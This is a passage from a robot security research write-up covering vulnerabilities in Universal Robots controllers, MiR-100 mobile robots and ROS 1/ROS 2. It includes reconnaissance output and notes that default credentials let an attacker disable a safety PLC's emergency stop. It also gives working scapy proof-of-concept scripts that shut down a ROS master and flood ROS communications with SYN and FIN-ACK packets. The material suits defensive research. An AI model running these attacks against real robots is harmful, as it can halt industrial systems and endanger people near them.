• Universal Robots CB3.1, firmware version 3.11
• Universal Robots CB3.1, firmware version 3.10

Having tested this far, we’re somewhat certain that, if you own a UR3, UR5 or UR10, chances are your robot ships an openssh version that’s vulnerable to Denial of Service by external aunthenticated users. Particularly, we found that the Universal Robots Controllers’ file system (based in Debian) allows attackers with networking connection to the robot to cause a Denial of Service via the auth_password function in auth-passwd.c. sshd in OpenSSH, before 7.3 does not limit password lengths for password authentication, which allows remote attackers to cause a denial of service (crypt CPU consumption) via a long string.

UnZip 6.0 allows remote attackers to cause a denial of service (infinite loop) via empty bzip2 data in a ZIP archive

This is a fun one, so we decided to make a exploit, add it to robotsploit and record it. UR3, UR5 and UR10, powered by CB3.1 (with all the firmware versions we tested), are vulnerable to this security bug. A lack of security maintenance of UnZip allows one to perform Denial of Service. The video below shows how we can prevent the system from operating in normal conditions by simply unzipping a specially-crafted zip file.

User enumeration in Universal Robots Control Box CB3.x

We found that the Universal Robots’ Controllers’ file system based in Debian is subject to CVE-2016-6210 which allows attackers to perform unauthenticated user enumeration. The flaw affects OpenSSH which is exposed by default in port 22.

The reason why OpenSSH is vulnerable is because before version 7.3, when SHA256 or SHA512 are used for user password hashing, it uses BLOWFISH hashing on a static password when the username does not exist. This allows remote attackers to enumerate users by leveraging the time difference between responses when a large password is provided, figuring out which users are valid and which ones aren’t.

Integer overflow in the get_data function, zipimport.c in Python 2.7

In this bug we explored an integer overflow in the get_data function in zipimport.c in CPython (aka Python) before 2.7.12, 3.x before 3.4.5, and 3.5.x before 3.5.2 allows remote attackers to have unspecified impact via a negative data size value, which triggers a heap-based buffer overflow.

The video below demonstrates how this flaw affects firmware versions CB3.1 1.12.1, 1.12, 1.11 and 1.10. Beyond our triaging is testing earlier version but we can only guess that it’ll follow along. Further exploitation of the heap-based overflow is beyond the scope of this simple exercise but a sufficiently motivated attacker won’t certainly stop here ;).

Unprotected intellectual property in Universal Robots controller CB 3.1 across firmware versions

This is one of the most concerning bugs found. Connected to RVD#1487, the lack of protected Intellectual Property (IP) from third parties allows an attacker to exfiltrate all intellectual property living into the robot and acquired from UR+ platform or other means.

More specifically and as described in our report: > Universal Robots control box CB 3.1 across firmware versions (tested on 1.12.1, 1.12, 1.11 and 1.10) does not encrypt or protect in any way the intellectual property artifacts installed from the UR+ platform of hardware and software components (URCaps). These files (.urcaps) are stored under ‘/root/.urcaps’ as plain zip files containing all the logic to add functionality to the UR3, UR5 and UR10 robots. This flaw allows attackers with access to the robot or the robot network (while in combination with other flaws) to retrieve and easily exfiltrate all installed intellectual property. >

The following video demonstrates this process chaining the attack with other vulnerabilities.

Mobile Industrial Robots’ MiR-100

Autonomous Mobile Robots (AMRs) are a popular trend for industrial automation. Besides in industries, they are also increasingly being used in public environments for tasks that include moving material around, or disinfecting environments with UltraViolet (UV) light (when no human is present, to avoid skin burns or worse).

Among the popular AMRs we encounter Mobile Industrial Robot’s MiR-100 which is often used as a mobile base for building other robots.

Research performed in past engagements led to more than 100 flaws identified in robots from MiR. Here’re some of the novel ones we published:

Below, we review briefly the file system and then discuss a few of these with their corresponding PoCs.

Reviewing the robot’s file system

Let’s take a look at what’s inside of the rootfs:

# Ubuntu 16.04  --> EoL
    root@67817dedc5ca:/# cat /etc/issue
    Ubuntu 16.04.2 LTS \n \l
    
    # ROS 1 Kinetic   --> EoL
    root@67817dedc5ca:/# ls /opt/ros/
    kinetic

Fantastic EoL setup, both the file system as well as the ROS distro :(. Let’s look a bit deeper:

cd /root
    root@67817dedc5ca:~# ls -a
    .  ..  .bash_history  .bashrc  .cache  .config  .gnupg  .nano  .nmcli-history  .profile  .ros  .ssh  .viminfo  script_logs

This is fantastic :x:, :laughing:. Let’s inspect a bit the history, just for fun:

...
    apt-get install ros-kinetic-openni-launch
    apt-get install libnm-glib-dev
    pip install --upgrade pip
    pip install --upgrade mysql-connector
    poweroff
    ls /etc/polkit-1/localauthority/50-local.d/
    cp 10-network-manager.pkla /etc/polkit-1/localauthority/50-local.d/
    head connect_to_wifi.py
    vi /etc/polkit-1/localauthority/50-local.d/10-network-manager.pkla
    exit
    cd /usr/local/mir/
    ls
    mkdir software
    mv out.zip software/
    cd software/
    ls
    unzip out.zip
    ls
    chmod -R 755 .
    ll
    rm out.zip
    chmod -R 655 MIR_SOFTWARE_VERSION
    ls
    chmod 555 MIR_SOFTWARE_VERSION
    ll
    chmod 444 MIR_SOFTWARE_VERSION
    ll
    chmod 666 MIR_SOFTWARE_VERSION
    ll
    chmod 644 MIR_SOFTWARE_VERSION
    ll
    ls
    cd ..
    ls
    ls
    ./install_mir_dependencies.bash
    less setup_master_disk.bash
    cd /usr/local/
    ls
    cd mir/
    ls
    ifconfig
    ifcomfig
    ifconfig
    ping 8.8.8.8
    sudo reboot
    ls
    ./install_mir_dependencies.bash > out.txt
    ls
    ./setup_master_disk.bash
    cat /home/mirex/.bashrc
    chmod +x setup_master_disk.bash
    ls
    ./setup_master_disk.bash
    cat .bashrc
    ls /usr/local/mir/software/
    ./setup_master_disk.bash > out.txt
    ls /usr/local/mir/software/
    less setup_master_disk.bash
    ls
    nano setup_master_disk.bash
    ls
    ./setup_master_disk.bash
    less ./setup_master_disk.bash
    roscd
    cd /usr/local/mir/software/
    ls
    source robot/mir_ros_env.bash
    roscd
    rosnode
    rosnode list
    cd
    cat .bashrc
    ls
    cd /etc/
    ls
    cd init.d/
    ls
    cat /home/mirex/.bashrc
    ls
    cd /etc/sudoers.d/
    ls
    cd /usr/local/mir/software/robot/conf/robot
    ls
    cd home/
    ls
    cd mirex/
    ls
    ls -lah
    cat .bashrc
    cat /home/mirex/.bashrc
    cd
    cd /home/mirex/
    ls
    less setup_master_disk.bash
    ls
    less out.txt
    ls
    less setup_master_disk.bash
    source /usr/local/mir/software/robot/mir_ros_env.bash
    grep python setup_master_disk.bash
    grep python setup_master_disk.bash > temp.sh
    chmod +x temp.sh
    ./temp.sh
    nano -w temp.sh
    ls
    echo $MIR_SOFTWARE_PATH
    nano -w setup_master_disk.bash
    ./temp.sh
    ls -alh /home/mirex/.bashrc
    date
    echo $MIR_SOFTWARE_PATH/
    ls /usr/local/mir/software/
    cd /usr/local/mir/
    ls
    cd software/
    la
    cd shared/
    ls
    cd ..
    ls
    cd robot/release/
    s
    ls
    less install_utils.py
    less /home/mirex/setup_master_disk.bash
    ls
    less config_utils.py
    nano -w config_utils.py
    cd /home/mirex/
    ./temp.sh
    cd -
    nano -w config_utils.py
    nano -w /home/mirex/setup_master_disk.bash
    nano -w config_utils.py
    cd -
    ./temp.sh
    nano -w /usr/local/mir/software/robot/release/config_utils.py
    ./temp.sh
    nano -w temp.sh
    python
    nano -w setup_master_disk.bash
    python
    ifconfig
    ls
    ifconfig
    ls
    tail -f out.txt
    ./setup_master_disk.bash
    reboot
    cd /etc/NetworkManager/system-connections/
    ls
    ll
    nmcli con
    nmcli con status
    nmcli con show
    nmcli con down
    nmcli con reload
    nmcli con
    nmcli con delete Wired\ connection\ 1
    nmcli con
    ls
    /home/mirex/setup_master_disk.bash
    ifconfig
    ls
    nmcli connection show
    nmcli connection edit Wired\ connection\ 1
    nmcli con
    nmcli con show Wired\ connection\ 1
    ifconfig
    ifdown enp0s25
    ifconfig
    ifup enp0s25
    ifconfig
    nmcli con show Wired\ connection\ 1
    ifconfig
    nmcli con show Wired\ connection\ 1
    ifconfig
    nmcli con show Wired\ connection\ 1
    ifconfig
    cat /etc/network/interfaces
    vi /etc/network/interfaces
    ls /etc/network/interfaces.d/
    sudo reboot
    ifconfig
    cat /etc/network/interfaces
    scp  /etc/network/interfaces morten@192.168.12.193
    scp  /etc/network/interfaces morten@192.168.12.193:~
    ls
    rm morten@192.168.12.193
    ls
    llstat /Etc/network/interfaces
    stat -c  /etc/network/interfaces
    stat -c "%n"  /etc/network/interfaces
    stat -c "%a"  /etc/network/interfaces
    ls
    cd /tmp/upgrade_ze7G5a/software/robot/
    ls
    cd release/
    ls
    sudo www-data
    sudo su www-data
    sudo su www-data
    cat /etc/passwd
    sudo vi /etc/passwd
    sudo su www-data
    rm /tmp/upgrade.lock
    sudo su www-data
    exit
    apt-get purge modemmanager
    apt-get install anacron
    ps aux | grep anacron
    apt-get install bluez
    locale -a
    apt-get install php-gettext
    apt-get install php-intl
    locale -a
    locale-gen en_US da_DK
    locale-gen en_US da_DK da_DK.utf8 de_DE de_DE.utf8 zh_CN zh_CN.utf8
    update-locale
    poweroff
    cd /usr/local/mir
    ls
    cd software/
    ls
    ls -alh
    less MIR_SOFTWARE_VERSION
    startx
    ifconfig
    mount
    cd /tmp/
    ls
    cd upgrade_tc4Z7G/
    ls
    tail -f mir_upgrade.log
    cd ..
    ls
    poweroff
    ls /usr/local/mir/backups/robot/
    rm -r /usr/local/mir/backups/robot/*
    ls /usr/local/mir/backups/robot/
    ls /usr/local/mir/backups/
    exit

Looking at this tells you a lot! We can guess how the update process works for these robots, we can also determine where to look for product’s FW versions, hardware and even where to look for hardware/robot backups. We can also determine where to look for the ROS catkin overlay, which contains binaries for most packages developed by MiR (beyond the use of the ROS Common packages).

Let’s now look at the flaws that one could find with one of the existing open source scanners:

root@67817dedc5ca:/Vulmap-Local-Vulnerability-Scanners/Vulmap-Linux# trivy fs --security-checks vuln,config /
    2021-11-14T20:38:08.943+0100    INFO    Need to update DB
    2021-11-14T20:38:08.943+0100    INFO    Downloading DB...
    24.71 MiB / 24.71 MiB [-------------------------------------------------] 100.00% 27.77 MiB p/s 1s
    2021-11-14T20:38:10.449+0100    INFO    Need to update the built-in policies
    2021-11-14T20:38:10.449+0100    INFO    Downloading the built-in policies...
    2021-11-14T20:38:14.903+0100    INFO    Detected OS: ubuntu
    2021-11-14T20:38:14.903+0100    INFO    Detecting Ubuntu vulnerabilities...
    2021-11-14T20:38:15.020+0100    INFO    Number of language-specific files: 1
    2021-11-14T20:38:15.020+0100    INFO    Detecting jar vulnerabilities...
    2021-11-14T20:38:15.020+0100    INFO    Detected config files: 7
    
    67817dedc5ca (ubuntu 16.04)
    ===========================
    Total: 15501 (UNKNOWN: 0, LOW: 5995, MEDIUM: 9069, HIGH: 432, CRITICAL: 5)
    ...

15501 vulnerabilities found. 5 CRITICAL, 432 HIGH. A quick look while filtering:

root@67817dedc5ca:/# trivy fs --security-checks vuln --severity CRITICAL /

will tell you that packages impacted include bluez, grub*, (various) libc-components, libssl, openssl, or wpasupplicant. Among many others.

Shortly, lots of opportunities to exploit.

Footprinting and fingerprinting

To be fair, most often you won’t have access to the complete rootfs (or you do!), so let’s take a look at things from the networking perspective and see if we can match the many findings. A quick scan of the robot’s hotspot (or wired) network leads to various endpoints. Let’s look deeper into some of the most interesting ones:

The hotspot itself:

root@attacker:~# nmap -sV -Pn 192.168.12.1
    Starting Nmap 7.80SVN ( https://nmap.org ) at 2020-06-08 15:16 CEST
    Nmap scan report for 192.168.12.1
    Host is up (0.039s latency).
    Not shown: 993 closed ports
    PORT     STATE SERVICE        VERSION
    21/tcp   open  ftp            MikroTik router ftpd 6.46.2
    22/tcp   open  ssh            MikroTik RouterOS sshd (protocol 2.0)
    23/tcp   open  telnet         APC PDU/UPS devices or Windows CE telnetd
    53/tcp   open  domain         (generic dns response: NOTIMP)
    80/tcp   open  http           MikroTik router config httpd
    2000/tcp open  bandwidth-test MikroTik bandwidth-test server
    8291/tcp open  unknown
    2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
    ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
    SF-Port23-TCP:V=7.80SVN%I=7%D=6/8%Time=5EDE3A4D%P=x86_64-unknown-linux-gnu
    SF:%r(NULL,C,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f")%r(GenericLin
    SF:es,10,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f\r\n\r\n")%r(tn3270
    SF:,1E,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f\xff\xfa\x18\x01\xff\
    SF:xf0\xff\xfe\x19\xff\xfc\x19\xff\xfe\0\xff\xfc\0")%r(GetRequest,1E,"\xff
    SF:\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1fGET\x20/\x20HTTP/1\.0\r\n\r\n"
    SF:)%r(RPCCheck,16,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f\x80\^@\^
    SF:@\(r\xfe\^\]")%r(Help,12,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f
    SF:HELP\r\n")%r(SIPOptions,EB,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x
    SF:1fOPTIONS\x20sip:nm\x20SIP/2\.0\r\nVia:\x20SIP/2\.0/TCP\x20nm;branch=fo
    SF:o\r\nFrom:\x20<sip:nm@nm>;tag=root\r\nTo:\x20<sip:nm2@nm2>\r\nCall-ID:\
    SF:x2050000\r\nCSeq:\x2042\x20OPTIONS\r\nMax-Forwards:\x2070\r\nContent-Le
    SF:ngth:\x200\r\nContact:\x20<sip:nm@nm>\r\nAccept:\x20application/sdp\r\n
    SF:\r\n")%r(NCP,C,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f");
    ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
    SF-Port53-TCP:V=7.80SVN%I=7%D=6/8%Time=5EDE3A52%P=x86_64-unknown-linux-gnu
    SF:%r(DNSVersionBindReqTCP,E,"\0\x0c\0\x06\x81\x84\0\0\0\0\0\0\0\0");
    Service Info: OSs: Linux, RouterOS; Device: router; CPE: cpe:/o:mikrotik:routeros

The main robot computer (NUC):

root@attacker:~# nmap -sV -Pn 192.168.12.20
    Starting Nmap 7.80SVN ( https://nmap.org ) at 2020-06-08 16:24 CEST
    Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
    Service scan Timing: About 20.00% done; ETC: 16:25 (0:00:24 remaining)
    Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
    NSE Timing: About 99.53% done; ETC: 16:25 (0:00:00 remaining)
    Nmap scan report for mir.com (192.168.12.20)
    Host is up (0.11s latency).
    Not shown: 995 closed ports
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
    80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
    8080/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    8888/tcp open  http    Werkzeug httpd 0.10.4 (Python 2.7.12)
    9090/tcp open  http    Tornado httpd 4.0.2
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconnaissance in this case leads to lots of interesting information. The trail that’s established by the resulting information from footprinting and fingerprinting will get us in a good track to identify many of the flaws existing in the rootfs and that are known.

Leaving those aside, let’s look at some of the PoCs and novel vulnerabilities discovered.

Vulnerabilities

Default credentials on SICK PLC allows disabling safety features

The password for the safety PLC is the default and thus easy to find (in manuals, etc.). This allows a manipulated program to be uploaded to the safety PLC, effectively disabling the emergency stop in case an object is too close to the robot. Navigation and any other components dependent on the laser scanner are not affected (thus it is hard to detect before something happens) though the laser scanner configuration can also be affected altering further the safety of the device.

Hardcoded Credentials on MiRX00’s Control Dashboard

Out of the wired and wireless interfaces within MiR100, MiR200 and other vehicles from the MiR fleet, it’s possible to access the Control Dashboard on a hardcoded IP address. Credentials to such wireless interface default to well known and widely spread users (omitted) and passwords (omitted). This information is also available in past User Guides and manuals which the vendor distributed. This flaw allows cyber attackers to take control of the robot remotely and make use of the default user interfaces MiR has created, lowering the complexity of attacks and making them available to entry-level attackers. More elaborated attacks can also be established by clearing authentication and sending network requests directly. We have confirmed this flaw in MiR100 and MiR200 but according to the vendor, it might also apply to MiR250, MiR500 and MiR1000.

MiR REST API allows for data exfiltration by unauthorized attackers (e.g. indoor maps

The access tokens for the REST API are directly derived (sha256 and base64 encoding) from the publicly available default credentials from the Control Dashboard (refer to CVE-2020-10270 for related flaws). This flaw in combination with CVE-2020-10273 allows any attacker connected to the robot networks (wired or wireless) to exfiltrate all stored data (e.g. indoor mapping images) and associated metadata from the robot’s database.

MiR ROS computational graph is exposed to all network interfaces, including poorly secured wireless networks and open wired ones

MiR100, MiR200 and other MiR robots use the Robot Operating System (ROS) default packages exposing the computational graph to all network interfaces, wireless and wired. This is the result of a bad set up and can be mitigated by appropriately configuring ROS and/or applying custom patches as appropriate. Currently, the ROS computational graph can be accessed fully from the wired exposed ports. In combination with other flaws such as CVE-2020-10269, the computation graph can also be fetched and interacted from wireless networks. This allows a malicious operator to take control of the ROS logic and correspondingly, the complete robot given that MiR’s operations are centered around the framework (ROS).

Robot Operating System (ROS 1)

The Robot Operating System (ROS) is the de facto standard for robot application development (Quigley, Gerkey, et al. 2009). It’s a framework for creating robot behaviors that comprises various stacks and capabilities for message passing, perception, navigation, manipulation or security, among others. It’s estimated that by 2024, 55% of the total commercial robots will be shipping at least one ROS package. ROS is to roboticists what Linux is to computer scientists.

This case study will analyze the security of ROS and demonstrate a few security flaws that made the community jump into a more robust evolution: ROS 2Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/

(see case study on ROS 2)

Dissecting ROS network interactions through scapy

TCPROS is a transport layer for ROS Messages and Services. It uses standard TCP/IP sockets for transporting message data. Inbound connections are received via a TCP Server Socket with a header containing message data type and routing information. This class focuses on capturing the ROS Slave API.

Until it gets merged upstream (see TCPROS PR), you can get the TCPROS dissector as follows:

pip3 install git+https://github.com/vmayoral/scapy@tcpros

An example package is presented below:

from scapy.contrib.tcpros import *
    bind_layers(TCP, TCPROS)
    bind_layers(HTTPRequest, XMLRPC)
    bind_layers(HTTPResponse, XMLRPC)
    
    pkt =   b"POST /RPC2 HTTP/1.1\r\nAccept-Encoding: gzip\r\nContent-Length: " \
            b"227\r\nContent-Type: text/xml\r\nHost: 12.0.0.2:11311\r\nUser-Agent:" \
            b"xmlrpclib.py/1.0.1 (by www.pythonware.com)\r\n\r\n<?xml version=" \
            b"'1.0'?>\n<methodCall>\n<methodName>shutdown</methodName>\n<params>" \
            b"\n<param>\n<value><string>/rosparam-92418</string></value>\n" \
            b"</param>\n<param>\n<value><string>BOOM</string></value>" \
            b"\n</param>\n</params>\n</methodCall>\n"
    
    p = TCPROS(pkt)

or alternatively, crafting it layer by layer:

p = (
        IP(version=4, ihl=5, tos=0, flags=2, dst="12.0.0.2")
        / TCP(
            sport=20001,
            dport=11311,
            seq=1,
            flags="PA",
            ack=1,
        )
        / TCPROS()
        / HTTP()
        / HTTPRequest(
            Accept_Encoding=b"gzip",
            Content_Length=b"227",
            Content_Type=b"text/xml",
            Host=b"12.0.0.2:11311",
            User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
            Method=b"POST",
            Path=b"/RPC2",
            Http_Version=b"HTTP/1.1",
        )
        / XMLRPC()
        / XMLRPCCall(
            version=b"<?xml version='1.0'?>\n",
            methodcall_opentag=b"<methodCall>\n",
            methodname_opentag=b"<methodName>",
            methodname=b"shutdown",
            methodname_closetag=b"</methodName>\n",
            params_opentag=b"<params>\n",
            params=b"<param>\n<value><string>/rosparam-92418</string></value>\n</param>\n<param>\n<value><string>BOOM</string></value>\n</param>\n",
            params_closetag=b"</params>\n",
            methodcall_closetag=b"</methodCall>\n",
        )
    )

This package will invoke the shutdown method of ROS 2 Master, shutting it down, together with all its associated Nodes.

Let’s take a look at other potential attacks against ROS.

SYN-ACK DoS flooding attack for ROS

A SYN flood is a type of OSI Level 4 (Transport Layer) network attack. The basic idea is to keep a server busy with idle connections, resulting in a a Denial-of-Service (DoS) via a maxed-out number of connections. Roughly, the attack works as follows:

• the client sends a TCP SYN (S flag) packet to begin a connection with a given end-point (e.g. a server).
• the server responds with a SYN-ACK packet, particularly with a TCP SYN-ACK (SA flag) packet.
• the client responds back with an ACK (flag) packet. In normal operation, the client should send an ACK packet followed by the data to be transferred, or a RST reply to reset the connection. On the target server, the connection is kept open, in a SYN_RECV state, as the ACK packet may have been lost due to network problems.
• In the attack, to abuse this handshake process, an attacker can send a SYN Flood, a flood of SYN packets, and do nothing when the server responds with a SYN-ACK packet. The server politely waits for the other end to respond with an ACK packet, and because bandwidth is fixed, the hardware only has a fixed number of connections it can make. Eventually, the SYN packets max out the available connections to a server with hanging connections. New sockets will experience a denial of service.

A proof-of-concept attack was developed on the simulated target scenario (above) to isolate communications. The attack exploit is displayed below:

print("Capturing network traffic...")
    packages = sniff(iface="eth0", filter="tcp", count=20)
    targets = {}
    for p in packages[TCPROSBody]:
        # Filter by ip
        # if p[IP].src == "12.0.0.2":
        port = p.sport
        ip = p[IP].src
        if ip in targets.keys():
            targets[ip].append(port)
        else:
            targets[ip] = [port]
    
    # Get unique values:
    for t in targets.keys():
        targets[t] = list(set(targets[t]))
    
    # Select one of the targets
    dst_target = list(map(itemgetter(0), targets.items()))[0]
    dport_target = targets[dst_target]
    
    # Small fix to meet scapy syntax on "dport" key
    #  if single value, can't go as a list
    if len(dport_target) < 2:
        dport_target = dport_target[0]
    
    p=IP(dst=dst_target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=dport_target,seq=1232345,ack=10000,window=10000,flags="S")/"SYN Flood DoS"
    ls(p)
    ans,unans=srloop(p,inter=0.05,retry=2,timeout=4)

In many systems, attacker would find no issues executing this attack and would be able to bring down ROSTCP interactions if the target machine’s networking stack isn’t properly configured. To defend against this attack, a user would need to set up their kernel’s network stack appropriately. In particular, they’d need to ensure that TCP SYN cookies are enabled. SYN cookies work by not using the SYN queue at all. Instead, the kernel simply replies to the SYN with a SYN-ACK, but will include a specially crafted TCP sequence number that encodes the source and destination IP address, port number and the time the packet was sent. A legitimate connection would send the ACK packet of the three way handshake with the specially crafted sequence number. This allows the system to verify that it has received a valid response to a SY cookie and allow the connection, even though there is no corresponding SYN in the queue.

FIN-ACK flood attack targeting ROS

The previous SYN-ACK DoS flooding attack did not affect hardened control stations because it is blocked by SYN cookies at the Linux kernel level. I dug a bit further and looked for alternatives to disrupt ROS-Industrial communications, even in in the presence of hardening (at least to the best of my current knowledge).

After testing a variety of attacks against the ROS-Industrial network including ACK and PUSH ACK flooding, ACK Fragmentation flooding or Spoofed Session flooding among others, assuming the role of an attacker I developed a valid disruption proof-of-concept using the FIN-ACK attack. Roughly, soon after a successful three or four-way TCP-SYN session is established, the FIN-ACK attack sends a FIN packet to close the TCP-SYN session between a host and a client machine. Given a TCP-SYN session established by ROSTCP between two entities wherein one is relying information of the robot to the other (running the ROS master) for coordination, the FIN-ACK flood attack sends a large number of spoofed FIN packets that do not belong to any session on the target server. The attack has two consequences: first, it tries to exhaust a recipient’s resources – its RAM, CPU, etc. as the target tries to process these invalid requests. Second, the communication is being constantly finalized by the attacker which leads to ROS messages being lost in the process, leading to the potential loss of relevant data or a significant lowering of the reception rate which might affect the performance of certain robotic algorithms.

The following script displays the simple proof-of-concept developed configured for validating the attack in the simplified isolated scenario.

def tcpros_fin_ack():
        """
        crafting a FIN ACK interrupting publisher's comms
        """
        flag_valid = True
        targetp = None
        targetp_ack = None
        # fetch 10 tcp packages
        while flag_valid:
            packages = sniff(iface="eth0", filter="tcp", count=4)
            if len(packages[TCPROSBody]) < 1:
                continue
            else:
                # find first TCPROSBody and pick a target
                targetp = packages[TCPROSBody][-1]  # pick latest instance
                index = packages.index(packages[TCPROSBody][-1])
                for i in range(index + 1, len(packages)):
                    targetp_ack = packages[i]
                    # check if the ack matches appropriately
                    if targetp[IP].src == targetp_ack[IP].dst and \
                            targetp[IP].dst == targetp_ack[IP].src and \
                            targetp[TCP].sport == targetp_ack[TCP].dport and \
                            targetp[TCP].dport == targetp_ack[TCP].sport and \
                            targetp[TCP].ack == targetp_ack[TCP].seq:
                        flag_valid = False
                        break
    
        if not flag_valid and targetp_ack and targetp:
            # Option 2
            p_attack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
                /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="FA", seq=targetp_ack[TCP].ack,
                ack=targetp_ack[TCP].seq)
    
            ans = sr1(p_attack, retry=0, timeout=1)
    
            if ans and len(ans) > 0 and ans[TCP].flags == "FA":
                p_ack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
                    /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="A", seq=ans[TCP].ack,
                    ack=ans[TCP].seq + 1)
                send(p_ack)
    
    while True:
        tcpros_fin_ack()

The following figure shows the result of the FIN-ACK attack on a targeted machine. Image displays a significant reduction of the reception rate and down to more than half (4.940 Hz) from the designated 10 Hz of transmission. The information sent from the publisher consists of an iterative integer number however the data received in the target under attack shows significant integer jumps, which confirm the package losses. More elaborated attacks could be built upon using a time-sensitive approach. A time-sensitive approach could lead to more elaborated attacks.

Robot Operating System (ROS) 2

The Robot Operating System (ROS) is the de facto standard for robot application development (Quigley, Gerkey, et al. 2009). It’s a framework for creating robot behaviors that comprises various stacks and capabilities for message passing, perception, navigation, manipulation or security, among others. It’s estimated that by 2024, 55% of the total commercial robots will be shipping at least one ROS package. ROS is to roboticists what Linux is to computer scientists.

This case study will analyze the security of ROS 2Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/

and demonstrate how flaws on both ROS 2 or its underlayers lead to the system being compromised.

Dissecting ROS 2 network interactions through RTPS

To hack ROS 2, we’ll be using a network dissector of the underlying default communication middleware that ROS 2 uses: DDS. DDS stands for Data Distribution Service and is a middleware technology used in critical applications like autonomous driving, industrial and consumer robotics, healthcare machinery or military tactical systems, among others.

In collaboration with other researchers, we built a DDS (more specifically, a Real-Time Publish Subscribe (RTPS) protocol) dissector to tinker with the ROS 2 communications. For a stable (known to work for the PoCs presented below) branch of the dissector, refer to https://github.com/vmayoral/scapy/tree/rtps or alternatively, refer to the official Pull Request we sent to scapy for upstream integration.

The package dissector allows to both dissect and craft, which will be helpful while checking the resilience of ROS 2 communications. E.g., the following Python piece shows how to craft a simple empty RTPS package that will interoperate with ROS 2 Nodes:

rtps_package = RTPS(
        protocolVersion=ProtocolVersionPacket(major=2, minor=4),
        vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
        guidPrefix=GUIDPrefixPacket(
            hostId=16974402, appId=2886795266, instanceId=1172693757
        ),
        magic=b"RTPS",
    )

Let’s get started by dockerizing an arbitrary targeted ROS 2 system.

Dockerizing the target environment

ROS 2 is nicely integrated with Docker, which simplifies creating a hacking development environment. Let’s build on top of the default ROS 2 containers and produce two targets for the latest LTS ROS 2 release: ROS 2 Foxy (latest LTS)

Build for Foxy from source and run

# Build may take a while depending on your machine specs
    docker build -t hacking_ros2:foxy --build-arg DISTRO=foxy .

Run headless

# Launch container
    docker run -it hacking_ros2:foxy /bin/bash
    
    # Now test the dissector
    cat << EOF > /tmp/rtps_test.py
    from scapy.all import *
    from scapy.layers.inet import UDP, IP
    from scapy.contrib.rtps import *
    
    bind_layers(UDP, RTPS)
    conf.verb = 0
    
    rtps_package = RTPS(
        protocolVersion=ProtocolVersionPacket(major=2, minor=4),
        vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
        guidPrefix=GUIDPrefixPacket(
            hostId=16974402, appId=2886795266, instanceId=1172693757
        ),
        magic=b"RTPS",
    )
    
    hexdump(rtps_package)
    rtps_package.show()
    EOF
    
    python3 /tmp/rtps_test.py
    0000  52 54 50 53 02 04 01 03 01 03 02 42 AC 11 00 02  RTPS.......B....
    0010  45 E5 E2 FD                                      E...
    ###[ RTPS Header ]###
      magic     = 'RTPS'
      \protocolVersion\
       |###[ RTPS Protocol Version ]###
       |  major     = 2
       |  minor     = 4
      \vendorId  \
       |###[ RTPS Vendor ID ]###
       |  vendor_id = Object Computing Incorporated, Inc. (OCI) - OpenDDS
      \guidPrefix\
       |###[ RTPS GUID Prefix ]###
       |  hostId    = 0x1030242
       |  appId     = 0xac110002
       |  instanceId= 0x45e5e2fd

Run, using X11

xhost + # (careful with this! use your IP instead if possible)
    docker run -it -v /tmp/.X11-unix:/tmp/.X11-unix -e DISPLAY=$DISPLAY -v $HOME/.Xauthority:/home/xilinx/.Xauthority hacking_ros2:foxy

ROS 2 reconnaissance

ROS 2 uses DDS as the default communication middleware. To locate ROS 2 computational Nodes, one can rely on DDS discovery mechanisms. Here’s the body of an arbitrary discovery response obtained from one of the most popular DDS implementations: Cyclone DDS.

0000  52 54 50 53 02 01 01 10 01 10 5C 8E 2C D4 58 47  RTPS......\.,.XG
    0010  FA 5A 30 D3 09 01 08 00 6E 91 76 61 09 C4 5C E5  .Z0.....n.va..\.
    0020  15 05 F8 00 00 00 10 00 00 00 00 00 00 01 00 C2  ................
    0030  00 00 00 00 01 00 00 00 00 03 00 00 2C 00 1C 00  ............,...
    0040  17 00 00 00 44 44 53 50 65 72 66 3A 30 3A 35 38  ....DDSPerf:0:58
    0050  3A 74 65 73 74 2E 6C 6F 63 61 6C 00 15 00 04 00  :test.local.....
    0060  02 01 00 00 16 00 04 00 01 10 00 00 02 00 08 00  ................
    0070  00 00 00 00 38 89 41 00 50 00 10 00 01 10 5C 8E  ....8.A.P.....\.
    0080  2C D4 58 47 FA 5A 30 D3 00 00 01 C1 58 00 04 00  ,.XG.Z0.....X...
    0090  00 00 00 00 0F 00 04 00 00 00 00 00 31 00 18 00  ............1...
    00a0  01 00 00 00 6A 7A 00 00 00 00 00 00 00 00 00 00  ....jz..........
    00b0  00 00 00 00 C0 A8 01 55 32 00 18 00 01 00 00 00  .......U2.......
